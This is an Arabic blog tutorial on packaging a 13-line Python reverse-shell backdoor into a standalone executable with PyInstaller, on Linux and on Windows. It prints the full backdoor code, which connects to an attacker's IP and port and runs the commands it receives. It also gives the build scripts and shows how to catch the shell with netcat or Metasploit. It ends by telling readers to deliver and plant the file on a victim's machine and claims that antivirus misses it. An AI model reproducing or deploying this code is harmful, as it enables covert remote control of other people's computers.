تحويل كود بايثون الى برنامج تنفيذي (Python Backdoor)

قبل فترة من الزمن قام David Kennedy مبرمج الأداة SET بعمل backdoor من 13 سطر في لغة بايثون … الرجل ترك الكود على مدونته، وترك الطريقة لتحويل هذه الأكواد الى برنامج تنفيذي بشكل نظري … ولهذا قلت أكتب هذه المقالة البسيطة عن طريقة تحويل ذلك الـ 13 سطر من بايثون الى backdoor وتشغيله وتجربته على كل من لينُكس وكذلك ويندوز … لنبدأ العمل إذن …

سنحتاج سواء في لينُكس أو ويندوز الى التالي:
– لغة بايثون (سأشرح على بايثون 2.7)
– Python for Windows extensions
– وكذلك الى PyInstaller

الآن لنبدأ العمل على نظام لينُكس، حيث سأستعمل توزيعة BackTrack5 وكل الذي علي فعله هو تحميل PyInstaller وفك ضغطه في مجلد معيين ولنفرض في المجلد التالي:

/root/pyinstaller-1.5/


الآن قم بإنشاء ملفين بداخل المجلد أعلاه … الأول سميه shell.py وضع فيه التالي:

#!/usr/bin/python
# imports here
import socket,subprocess
HOST = '172.16.32.137'    # The remote host
PORT = 443            # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
     # recieve shell command
     data = s.recv(1024)
     # if its quit, then break out and close socket
     if data == "quit": break
     # do shell command
     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     # read output
     stdout_value = proc.stdout.read() + proc.stderr.read()
     # send output to attacker
     s.send(stdout_value)
# close socket
s.close()

والثاني إسمه compile.bat وضع فيه التالي:

/usr/bin/python Configure.py
/usr/bin/python Makespec.py --onefile --noconsole shell.py
/usr/bin/python Build.py shell/shell.spec

ملاحظة مهمة جدا: لا تنسى تغيير العنوان والمنفذ لتناسب إعداداتك (IP and Port) …

الآن كل الذي عليك فعله هو إضافة صلاحيات التشغيل الى compile.bat ومن ثم تشغيله … ستجد الناتج في المجلد التالي:

shell/dist/shell

للتأكد إنه تحول الى برنامج تنفيذي:

file shell/dist/shell

سيعطيك ناتج بإنه برنامج تنفيذي … هكذا تمت العملية بنجاح … لتجربته مثلا بواسطة netcat كل الذي عليك فعله هو تشغيل المستمع كالتالي:

netcat -lvp 443

الآن كل الذي علينا فعله هو تشغيل الشل وإنتظار إتصالها بالمستعم netcat الذي لدينا … أظن هذه ليست صعبة عليكم، وعلى العموم أليكم الصورة التالية:

الآن لنبدأ العمل على ويندوز … وسأستعمل في هذا المثال Windows XP SP2 … أول حاجة نعملها هي تركيب بايثون وتركيب Python for Windows extensions الصحيح للنسخة التي لديك، يعني لدينا بايثون 2.7 نستعمل النسخة pywin32-215.win32-py2.7.exe وليس غير ذلك … أيضا هناك طريقتين لتركيب PyInstaller في ويندوز … إما تفك ضغطهم في داخل مجلد البايثون وإما تضعه في مسار منفصل … أختر ما يناسبك … أهم حاجة في الطريقة الثانية يكون لديك الإعدادات للمتغيير PythonPath صحيحة وهذه يمكن عملها من خلال التالي:

1- قم بعمل Right Click على My Computer وأختر Properties
2- قم بإختيار Advanced ومن ثم Environment Variables
3- بعد ذلك في الأسفل عند System Variables قم بإختيار New لنعمل متغيير جديد … سميه PythonPath وضع في قيمته التالي:

C:\PYTHON27;C:\PYTHON27\DLLs;C:\PYTHON27\LIB;C:\PYTHON27\LIB\LIB-TK

هذا طبعاً في حالة إستعمالك لبايثون 2.7، إن كان حاجة أخرى قم بوضع رقم تلك النسخة بدل من PYTHON27 ضع مثلا PYTHON26 وهكذا …
4- قم بعمل إعادة التشغيل للنظام ويندوز (هكذا على XP) …

الآن تم تجهيز النظام كل الذي علينا فعله هو عمل ملفين في داخل مجلد PyInstaller وهما نفس الملفات التي عملناها سابقا مع شوية تعديل (واحد shell.py والآخر compile.bat) … في الأول ضع الكود الموجود في بداية هذا الموضوع (كود الـ Backdoor) … وفي الثاني ضع التالي:

python Configure.py
python Makespec.py --onefile --noconsole shell.py
python Build.py shell\shell.spec

الآن كل الذي علينا فعله هو إما النقر مرتين على ملف compile.bat أو إننا نقوم من خلال cmd بتنفيذه ورؤية النواتج بنفس الوقت (أفضل هذه الطريقة) … ولهذا سنقوم من cmd بالتالي:

cd c:\Python27\
compile.bat

بعد ذلك ستجد إنه تم عمل ملف تنفيذي إسمه shell.exe … وهو الملف المطلوب أصلا (الـ Backdoor) …

لتجربته هذه المرة سأستعمل Metasploit Multihandler كما في الصورة بالأسفل:

بعد ذلك قم بتشغيل البرنامج التنفيذي الذي عملته على جهاز الويندوز (أي الـ Backdoor) بالضغط عليه مرتين … وانظر بعدها الى الطرفية، ستجد إنك حصلت على shell على الجهاز الآخر (الويندوز) …

طبعاً هذا الشرح كان بهدف توضيح كيفية عمل التحويل الى ملف تنفيذي … وكذلك الإشارة الى إنه ممكن نعمل backdoor في بايثون (المصدر secmaniac) … الآن المتبقي عليك فعله هو كيفية إرسال هذا الملف الى الضحية وزرع هذا الـ Backdoor في جهازه … وكما قال ReL1K في مدونته، فعلا كل برامج مكافحة الفيروسات لن تكشفه … أليك الصورة التالية:

عيب هذا الـ Backdoor الوحيد حسب رأيي هو حجمه الكبير … ياله تجربة موفقة للجميع … إذا كان هناك اي سؤال أو إستفسار، يرجى وضعه هنا

المصادر:
Pywin32 | Python on Windows FAQ | Secmanic | 13 Line Backdoor | PyInstaller

About [email protected]

[Between Teams of Red and Blue, I'm with the Purple Team]
This entry was posted in Development, PenTest, Security. Bookmark the permalink.

One Response to تحويل كود بايثون الى برنامج تنفيذي (Python Backdoor)

  1. Pingback: Anonymous

Comments are closed.